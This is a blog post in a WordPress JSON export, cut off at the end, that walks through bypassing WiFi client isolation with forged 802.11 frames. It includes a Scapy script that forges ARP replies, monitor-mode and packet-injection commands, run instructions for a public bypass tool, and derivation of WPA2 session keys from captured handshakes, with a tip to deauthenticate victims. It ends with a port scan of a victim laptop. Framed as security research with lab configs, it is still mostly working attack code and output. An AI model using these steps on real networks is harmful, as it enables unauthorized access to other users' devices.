{"id":9156,"date":"2025-11-19T16:09:44","date_gmt":"2025-11-19T14:09:44","guid":{"rendered":"https:\/\/tajdini.net\/blog\/?p=9156"},"modified":"2025-11-19T16:09:55","modified_gmt":"2025-11-19T14:09:55","slug":"bypassing-wifi-client-isolation","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/linux-and-open-source\/bypassing-wifi-client-isolation\/","title":{"rendered":"Bypassing WiFi Client Isolation"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">WiFi network client isolation is a security feature that prevents devices connected to the same network communicating directly with each other. This article shows how to bypass client isolation by manually crafting packets and injecting them into the air with a monitor mode wireless adapter, even with WPA2-PSK enabled. This allows an attacker to target other connected devices through bypassing the access point entirely, along with the client isolation security it enforces.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Restricting clients from being able to talk to each other is a useful control to reduce the attack surface of connected clients. Especially in networks where it\u2019s more likely for attackers to be on the network, such as in public networks (coffee shops, hotels), corporate guest WiFi, BYOD networks, or any place where rolling out WPA Enterprise is too much of a pain. Here\u2019s an example \u2013 Steve connects their laptop to a WiFi network, has VNC Server running with no password, and hasn\u2019t installed security patches since Rihanna released Umbrella. Steve is safe because whoever configured the WiFi network enabled client isolation, right? An attacker can\u2019t discover and connect to the VNC Server, or exploit any of the various remote vulnerabilities on the laptop.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But what if they could?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>There are a lot of acronyms when talking WiFi networks. To help, I\u2019ve included a glossary section at the end of this article.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"background\">Background<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Enforcing WiFi client isolation relies on the assumption that packets are being forwarded through the access point. The great thing about WiFi networks is it\u2019s all just radio frequencies floating around in the air. With a WiFi adapter in monitor mode, we can capture 802.11 frames and also transmit frames into the air. To communicate directly with another client, we don\u2019t really need the access point to facilitate that communication. There is no physical mechanism by which the access point can control how we wobble the air.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, here is a packet capture of a WiFi interface in monitor mode looking at traffic for an open WiFi network:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireless-open-network.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireless-open-network.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We\u2019re not connected to the WiFi network, but because this is all radio frequencies floating about, we can see the traffic just fine. Not only that, we can also send packets into the air that get picked up by other WiFi clients.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On an infrastructure mode WiFi network without client isolation, communication looks like this:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/open-network-traffic-flow.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/open-network-traffic-flow.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">With client isolation enabled, the access point blocks WiFi clients from communicating with each other like this:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/open-network-traffic-flow-with-client-isolation.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/open-network-traffic-flow-with-client-isolation.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"bypassing-client-isolation\">Bypassing Client Isolation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To bypass client isolation the objective is to establish direct communication between us (the attacker) and a victim client on the network by manually transmitting frames and sniffing the victims response packets. This circumvents the access point and any client isolation protections it may be implementing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The attack looks like this:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/open-network-attack-flow.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/open-network-attack-flow.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"distribution-system\">Distribution System<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Distribution System (DS) bits in a WiFi frame indicate whether the frame is being transmitted to or from the distribution system (network switch, usually the WiFi AP). These bits normally prevent client-to-client ad-hoc communication on an infra-network. However, we can craft frames with&nbsp;<code>From-DS=1<\/code>&nbsp;to bypass this restriction. Essentially, the attacker\u2019s frames pretend to be transmitted from the DS, so the client goes \u201coh this frame is from coming from the access point \u2013 cool\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s what that looks like in Wireshark. You can start inspecting this stuff yourself by configuring an interface in monitor mode and capturing packets:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireshark-from-ds.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireshark-from-ds.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">When the attacker sends a frame for the victim client they use FCField:&nbsp;<em>From-DS (DS to Client)<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>addr1 (Receiver Address): Who should receive this WiFi frame? The victim client\naddr2 (Transmitter Address): Who transmitted this WiFi frame? The DS (But not really, it was the attacker)\naddr3 (Source Address): Who originally sent this data? Us, the attacker.\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">When the victim client replies to the frame they use FCField:&nbsp;<em>To-DS (Client to DS)<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>addr1 (Receiver Address): Who should receive this WiFi frame? The DS (But not really, the attacker will sniff it)\naddr2 (Transmitter Address): Who transmitted this WiFi frame? The victim client\naddr3 (Destination Address): Who is the final destination? Us. The attacker\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If the attacker sends frames with&nbsp;<code>To-DS=1<\/code>, they\u2019re going to be ignored by the client. Instead, frames need to appear to come from the DS, with a return address of the attacker\u2019s MAC address. By combining a TAP network interface, Scapy for manipulating packets and a monitor mode WiFi adapter, we have all the components needed to communicate directly with other clients and bypass client isolation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here is what an attacker crafted packet looks like, a simple Python script using Scapy to send an ARP packet from the DS:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from scapy.all import *\n\narp = (\n    LLC()\/\n    SNAP()\/\n    ARP(\n        op='is-at',\n        psrc='10.1.1.11',\n        pdst='10.1.1.10',\n        hwsrc='AA:BB:CC:DD:EE:FF'\n    )\n)\n\npacket = RadioTap()\/Dot11(\n    FCfield=\"from-DS\",\n    type=2,\n    subtype=32, \n    addr1=\"11:22:33:44:55:66\",     # Receiver address\n    addr2=\"DA:02:2C:9F:DA:ED\",     # Transmitter address (AP BSSID)\n    addr3=\"AA:BB:CC:DD:EE:FF\"      # Source address\n)\/arp\n\npacket.show()\nsendp(packet, iface=\"wlan0mon\")\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Scapy prints the packet information:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>###&#91; RadioTap ]###\n  version   = 0\n  pad       = 0\n  len       = None\n  present   = None\n  notdecoded= b''\n###&#91; 802.11 ]###\n     subtype   = 32\n     type      = Data\n     proto     = 0\n     FCfield   = from-DS\n     ID        = 0\n     addr1     = 11:22:33:44:55:66 (RA=DA)\n     addr2     = DA:02:2C:9F:DA:ED (TA=BSSID)\n     addr3     = AA:BB:CC:DD:EE:FF (SA)\n     SC        = 0\n###&#91; LLC ]###\n        dsap      = 0xaa\n        ssap      = 0xaa\n        ctrl      = 3\n###&#91; SNAP ]###\n           OUI       = Officially Xerox, but 0:0:0:0:0:0 is more common (00:00:00)\n           code      = ARP\n###&#91; ARP ]###\n              hwtype    = Ethernet (10Mb)\n              ptype     = IPv4\n              hwlen     = None\n              plen      = None\n              op        = is-at\n              hwsrc     = AA:BB:CC:DD:EE:FF\n              psrc      = 10.1.1.11\n              hwdst     = 00:00:00:00:00:00\n              pdst      = 10.1.1.10\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The transmitted ARP packet can be seen in Wireshark with the Frame Control Field showing&nbsp;<code>From-DS=1<\/code>:&nbsp;<a href=\"https:\/\/pulsesecurity.co.nz\/assets\/images\/releases\/2025-10-14-bypassing-wifi-client-isolation\/wireshark-from-ds-scapy-packet.png\"><\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"lets-get-attacking\">Let\u2019s Get Attacking<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I\u2019ve developed a Python-based tool that bypasses WiFi client isolation by intercepting and manipulating WiFi frames. The tool creates a TAP network interface, processes frames in and out of the attacker\u2019s PC and injects the modified frames into the air via a monitor mode WiFi adapter. By crafting frames with the appropriate DS bits and addressing, the tool bypasses client isolation. You can run this tool and it\u2019ll give you a new network interface in Linux that\u2019s on the WiFi network which sidesteps any of the client isolation protections.<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/Pulse-Security\/wifi-client-isolation-bypass\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">I\u2019ve tested against hostapd (using the&nbsp;<code>ap_isolate=1<\/code>&nbsp;configuration option) and a Unifi network (using the Host Isolation feature). There could be quirks and gotchas with other vendor\u2019s implementations, so feel free to&nbsp;<a href=\"https:\/\/pulsesecurity.co.nz\/#contact-us\">let us know<\/a>&nbsp;what works in your environments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To get the tool setup, the following is required:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Some kind of Linux, I\u2019m using Debian 12<\/li>\n\n\n\n<li>Install the software requirements, Python, Aircrack, and some Python libraries:<code>$ sudo apt install aircrack-ng python3 python3-scapy python3-pyaes python3-pycryptodome<\/code><\/li>\n\n\n\n<li>An ability to sniff and inject 802.11 frames \u2013 a monitor mode WiFi adapter:Find the WiFi adapter interface device name:<code> $ sudo airmon-ng PHY Interface Driver Chipset phy0 wlx00c0ca76c625 rt2800usb Ralink Technology, Corp. RT3572 <\/code>Setup the WiFi adapter into monitor mode:<code> $ sudo airmon-ng check kill $ sudo ip link set wlx00c0ca76c625 down $ sudo iw dev wlx00c0ca76c625 set type monitor $ sudo ip link set wlx00c0ca76c625 up <\/code>Use Aircrack to test packet injection is working:<code> $ sudo aireplay-ng --test wlx00c0ca76c625 -a DA:02:2C:9F:DA:ED 11:02:57 Waiting for beacon frame (BSSID: DA:02:2C:9F:DA:ED) on channel 9 11:02:57 Trying broadcast probe requests... 11:02:57 Injection is working! 11:02:58 Found 1 AP 11:02:58 Trying directed probe requests... 11:02:58 DA:02:2C:9F:DA:ED - channel: 9 - 'OP' 11:02:59 Ping (min\/avg\/max): 0.432ms\/9.292ms\/53.869ms Power: -11.93 11:02:59 30\/30: 100%<\/code><\/li>\n\n\n\n<li>Clone the tooling repository:<code>$ git clone https:\/\/github.com\/Pulse-Security\/wifi-client-isolation-bypass.git<\/code><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"attacking-an-open-unencrypted-network\">Attacking an Open (Unencrypted) Network<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you\u2019d like to test this yourself, you can use the following hostapd config:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>interface=wlp4s0\ndriver=nl802011\nbssid=DA:02:2C:9F:DA:ED\nssid=OPN\nchannel=9\nap_isolate=1 #hostapd client isolation mode enabled\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Most WiFi Access Points and vendors should support client isolation, too.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The attack tooling looks like this:&nbsp;<a href=\"https:\/\/pulsesecurity.co.nz\/assets\/images\/releases\/2025-10-14-bypassing-wifi-client-isolation\/open-network-attack-tooling-flow.png\"><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To use the WiFi client isolation bypass tool, modify the&nbsp;<code>config.ini<\/code>&nbsp;file according to the target WiFi network configuration. For open networks, comment out the&nbsp;<code>CCMP_ENCRYPTION<\/code>&nbsp;value in the&nbsp;<code>WPA_ENCRYPTION<\/code>&nbsp;section, and fill out the remaining fields.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;TARGET_NETWORK]\nSSID=OPN\nBSSID=DA:02:2C:9F:DA:ED\nCHANNEL=9\n\n&#91;WPA_ENCRYPTION]\n# Enable WPA2-CCMP encryption\n# Leave commented out for Open (unencrypted) networks\n#CCMP_ENCRYPTION=\n# Pre-Shared Key (PSK), necessary for key calculation if CCMP_ENCRYPTION=enable\n#PSK=\n...\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Run the WiFi bridge script (<code>wifi-bridge.py<\/code>) to start bridging packets between the attacker\u2019s PC and victim client:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo python3 wifi-bridge.py \n&#91;*] Checking WiFi interface: wlx00c0ca76c625\n&#91;+] Interface wlx00c0ca76c625 is already in monitor mode\n&#91;+] Interface wlx00c0ca76c625 is already on channel 9\n&#91;+] Open WiFi mode\n&#91;+] TAP interface tap0 created with MAC 92:37:84:31:58:75\n&#91;+] Starting bidirectional bridge...\n&#91;+] TAP interface: tap0\n&#91;+] Wireless interface: wlx00c0ca76c625\n&#91;+] Debug mode: Disabled\n\nPress CTRL+C to stop\n&#91;+] TAP reader thread started\n&#91;+] Starting WiFi sniffing on wlx00c0ca76c625\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The packets can be seen passing through the script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&gt;] TAP -&gt; WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -&gt; ff:ff:ff:ff:ff:ff\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -&gt; 92:37:84:31:58:75 (ARP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -&gt; f2:d7:12:9a:0b:b5\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -&gt; f2:d7:12:9a:0b:b5\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -&gt; f2:d7:12:9a:0b:b5\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -&gt; 92:37:84:31:58:75 (IP)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This creates a TAP network interface that you can interact with in Linux, just like any other interface:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ip a show tap0\n5: tap0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000\n    link\/ether 92:37:84:31:58:75 brd ff:ff:ff:ff:ff:ff\n    inet 10.1.1.66\/24 scope global tap0\n       valid_lft forever preferred_lft forever\n    inet6 fe80::9037:84ff:fe31:5875\/64 scope link \n       valid_lft forever preferred_lft forever\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If we ping the victim, we can talk to them just fine and bypass the APs client isolation:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ping 10.1.1.40\nPING 10.1.1.40 (10.1.1.40) 56(84) bytes of data.\n64 bytes from 10.1.1.40: icmp_seq=1 ttl=64 time=1173 ms\n64 bytes from 10.1.1.40: icmp_seq=4 ttl=64 time=33.8 ms\n64 bytes from 10.1.1.40: icmp_seq=5 ttl=64 time=34.1 ms\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can now attack Steve\u2019s laptop with whatever tooling we\u2019d like, below is the output of an NMAP scan showing Steve has a VNC Server running:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ nmap -Pn --top-ports 100 10.1.1.10\nStarting Nmap 7.93 ( https:\/\/nmap.org ) at 2025-10-09 13:46 NZDT\nNmap scan report for 10.1.1.10\nHost is up (0.29s latency).\nNot shown: 94 filtered tcp ports (no-response)\nPORT     STATE SERVICE\n135\/tcp  open  msrpc\n139\/tcp  open  netbios-ssn\n445\/tcp  open  microsoft-ds\n3389\/tcp open  ms-wbt-server\n5800\/tcp open  vnc-http\n5900\/tcp open  vnc\n\nNmap done: 1 IP address (1 host up) scanned in 31.38 seconds\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"attacking-a-wpa2-psk-network\">Attacking a WPA2-PSK Network<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Attacking a WPA2-PSK network with client isolation is more complex, but still doable. Before we can dig into this we need to understand how WPA works.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"protected-wifi\">Protected WiFi<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Over the years, there have been improved security standards for protecting WiFi networks: from WEP to the current WPA3 standard. Various attacks against these has driven continuous improvement to fix weaknesses in the implementations.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This research project focused on support for WPA2-CCMP-PSK encrypted and Open (Unencrypted) networks. Support for WPA-TKIP-PSK encryption should be relatively straightforward to implement (send me a PR!). 802.1X\/EAP authentication modes and WPA3 support would be much more complex and likely not feasible.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There\u2019s a somewhat overwhelming number of WiFi network security configurations possible, but this article focuses only on WPA2-PSK using CCMP.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"wpa-4-way-handshake\">WPA 4-Way Handshake<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For key management, WPA uses a process called the 4-way handshake to calculate and install encryption keys. The 4-way handshake uses EAPOL frames to transport the authentication messages between the client and AP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To communicate with WiFi clients and conduct our attack to bypass client isolation, we need to know two keys:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Temporal Key (TK): Used for unicast client &lt;-> AP traffic. Known to only the client and AP normally, but we will derive this as part of the attack.<\/li>\n\n\n\n<li>Group Temporal Key (GTK): Used for broadcast\/multicast traffic. Known to all clients and AP.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Wireshark can decrypt traffic with a captured TK\/GTK. Under the IEEE 802.11 protocol settings, both keys can be added. All already captured and new packets are then automatically decrypted.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireshark-decrypt-wpa-traffic.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireshark-decrypt-wpa-traffic.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To derive these keys we must first understand how the 4-way handshake works. As the name suggests, the handshake process involves 4 messages being transmitted between a client and the AP. EAPOL frames are sent unencrypted, so an attacker can intercept these with a monitor mode WiFi adapter.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At a high-level, the goal of the 4-way handshake is to:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Prove both client and AP know the PMK (the authentication secret, such as the PSK)<\/li>\n\n\n\n<li>Derive session-specific encryption keys (PTK) for unicast traffic<\/li>\n\n\n\n<li>Distribute the group key (GTK) for broadcast and multicast traffic<\/li>\n\n\n\n<li>Establish a secure encrypted communication channel between the client and AP<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Message 1: AP \u2192 Client<\/em><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>AP generates ANonce (AP Nonce) a 256-bit random number<\/li>\n\n\n\n<li>Sends: ANonce<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Message 2: Client \u2192 AP<\/em><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Client generates SNonce (Station Nonce) a 256-bit random number<\/li>\n\n\n\n<li>Derives PTK = PRF-512(PMK, ANonce, SNonce, AP MAC, Client MAC)<\/li>\n\n\n\n<li>Sends: SNonce + MIC(KCK)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Message 3: AP \u2192 Client<\/em><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>AP verifies MIC from Message 2<\/li>\n\n\n\n<li>AP derives same PTK using received SNonce<\/li>\n\n\n\n<li>Sends: ANonce + GTK(encrypted with KEK) + MIC(KCK)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Message 4: Client \u2192 AP<\/em><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Client verifies MIC from Message 3<\/li>\n\n\n\n<li>Extracts GTK for broadcast\/multicast traffic<\/li>\n\n\n\n<li>Sends: Confirmation MIC(KCK)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Phew, that\u2019s a lot of keys being derived, let\u2019s break down the hierarchy and show how each key is calculated:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pairwise-Master-Key (PMK) = PBKDF2(HMAC-SHA1, PSK, SSID, 4096, 256)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Calculating the PMK requires the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PSK: Shared passphrase used for authentication<\/li>\n\n\n\n<li>SSID: WiFi network name<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pairwise-Transient-Key (PTK) = PRF-512(PMK, ANonce, SNonce, AP MAC, Client MAC)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Calculating the PTK requires the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PMK: Pairwise-Master-Key (as above)<\/li>\n\n\n\n<li>AP Nonce (Anonce): is a random number that the AP generates<\/li>\n\n\n\n<li>STA Nonce (Snonce): is a random number that the client generates<\/li>\n\n\n\n<li>AP MAC address: MAC address of the access point<\/li>\n\n\n\n<li>STA MAC address: MAC address of the client<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The resulting PTK contains the following keys:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Key Confirmation Key (KCK): Used to compute MIC for integrity<\/li>\n\n\n\n<li>Key Encryption Key (KEK): Used to encrypt additional data from the AP to the clients during the handshake<\/li>\n\n\n\n<li>Temporal Key (TK): Used to encrypt\/decrypt messages after authentication process is completed<\/li>\n\n\n\n<li>MIC Authenticator Tx Key (MIC Tx): Used to compute MIC on packets transmitted by AP<\/li>\n\n\n\n<li>MIC Authenticator Rx Key (MIC Rx): Used to compute MIC on packets transmitted by the client<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The structure of the PTK is:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>| KCK (128-bits) | KEK (128-bits) | TK (128-bits) | MIC Tx (64-bits)| MIC Rx (64-bits) |<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We need to obtain the TK for the victim client we want to communicate with, as well as the GTK so we can send broadcast traffic.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You can test with a WPA2-CCMP-PSK network with hostapd and the following configuration:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>interface=wlp4s0\ndriver=nl802011\nbssid=DA:02:2C:9F:DA:ED\nssid=CLSE\nchannel=9\nap_isolate=1 #hostapd client isolation mode enabled\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=CCMP\nwpa_passphrase=supercoolpassphrase\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The attack flow looks like this:&nbsp;<a href=\"https:\/\/pulsesecurity.co.nz\/assets\/images\/releases\/2025-10-14-bypassing-wifi-client-isolation\/wpa2-network-attack-flow.png\"><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The attacker\u2019s tooling looks like this:&nbsp;<a href=\"https:\/\/pulsesecurity.co.nz\/assets\/images\/releases\/2025-10-14-bypassing-wifi-client-isolation\/wpa2-network-attack-tooling-flow-sending.png\"><\/a>&nbsp;<a href=\"https:\/\/pulsesecurity.co.nz\/assets\/images\/releases\/2025-10-14-bypassing-wifi-client-isolation\/wpa2-network-attack-tooling-flow-receiving.png\"><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To use the WiFi client isolation bypass tool, modify the&nbsp;<code>config.ini<\/code>&nbsp;file according to the target WiFi network configuration. For WPA2 networks, fill out the&nbsp;<code>WPA_ENCRYPTION<\/code>&nbsp;options and remaining fields.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;TARGET_NETWORK]\nSSID=CLSE\nBSSID=DA:02:2C:9F:DA:ED\nCHANNEL=9\n\n&#91;WPA_ENCRYPTION]\n# Enable WPA2-CCMP encryption\n# Leave commented out for Open (unencrypted) networks\nCCMP_ENCRYPTION=enable\n# Pre-Shared Key (PSK), necessary for key calculation if CCMP_ENCRYPTION=enable\nPSK=supercoolpassphrase\n...\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Run the WPA key capture script (<code>wpa-key-capture.py<\/code>) to capture EAPOL packets containing the 4-way handshake:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Note: Aircrack can be used to deauthenticate a client to force them to re-establish their keys, which the attacker can then sniff. This means you can start communicating with any client right away, so long as you deauthenticate them first.<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo python3 wpa-key-capture.py \n&#91;*] Checking WiFi interface: wlx00c0ca76c625\n&#91;+] Interface wlx00c0ca76c625 is already in monitor mode\n&#91;+] Interface wlx00c0ca76c625 is already on channel 9\n&#91;*] Starting WiFi monitoring on wlx00c0ca76c625\n&#91;*] Filtering for SSID: CLSE\n&#91;*] Filtering for BSSID: da:02:2c:9f:da:ed\n&#91;*] Starting packet capture... (Press Ctrl+C to stop)\n&#91;+] Discovered network: CLSE (da:02:2c:9f:da:ed)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">When a 4-way handshake is captured, the TK and GTK are calculated and saved:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;2025-08-28 14:51:14] Captured handshake for client MAC: 0c:c4:13:30:e7:a4\n&#91;+] TK: 3c09f26acaa00e539b83105351f75618\n&#91;+] GTK: dc3eb1929c836d60cc70f7f95cb736d9 (CLSE)\n&#91;+] Key information saved to wifi_keys.json\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Run the WiFi bridge script (<code>wifi-bridge.py<\/code>) in another terminal to start bridging packets between the attacker\u2019s PC and victim client:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo python3 wifi-bridge.py \n&#91;*] Checking WiFi interface: wlx00c0ca76c625\n&#91;+] Interface wlx00c0ca76c625 is already in monitor mode\n&#91;+] Interface wlx00c0ca76c625 is already on channel 9\n&#91;+] CCMP encryption enabled\n&#91;+] GTK available for BSSID(s): 7a:ac:b9:27:c2:f8, da:02:2c:9f:da:ed\n&#91;+] Client TKs available for: da:17:89:88:63:6e, 2a:26:0d:8d:69:d9, ca:30:b8:d2:40:95, 0c:c4:13:30:e7:a4\n&#91;+] TAP interface tap0 created with MAC 92:37:84:31:58:75\n&#91;+] Starting bidirectional bridge...\n&#91;+] TAP interface: tap0\n&#91;+] Wireless interface: wlx00c0ca76c625\n&#91;+] Debug mode: Disabled\n\nPress CTRL+C to stop\n&#91;+] TAP reader thread started\n&#91;+] Starting WiFi sniffing on wlx00c0ca76c625\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The packets can be seen passing through the WiFi bridge script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 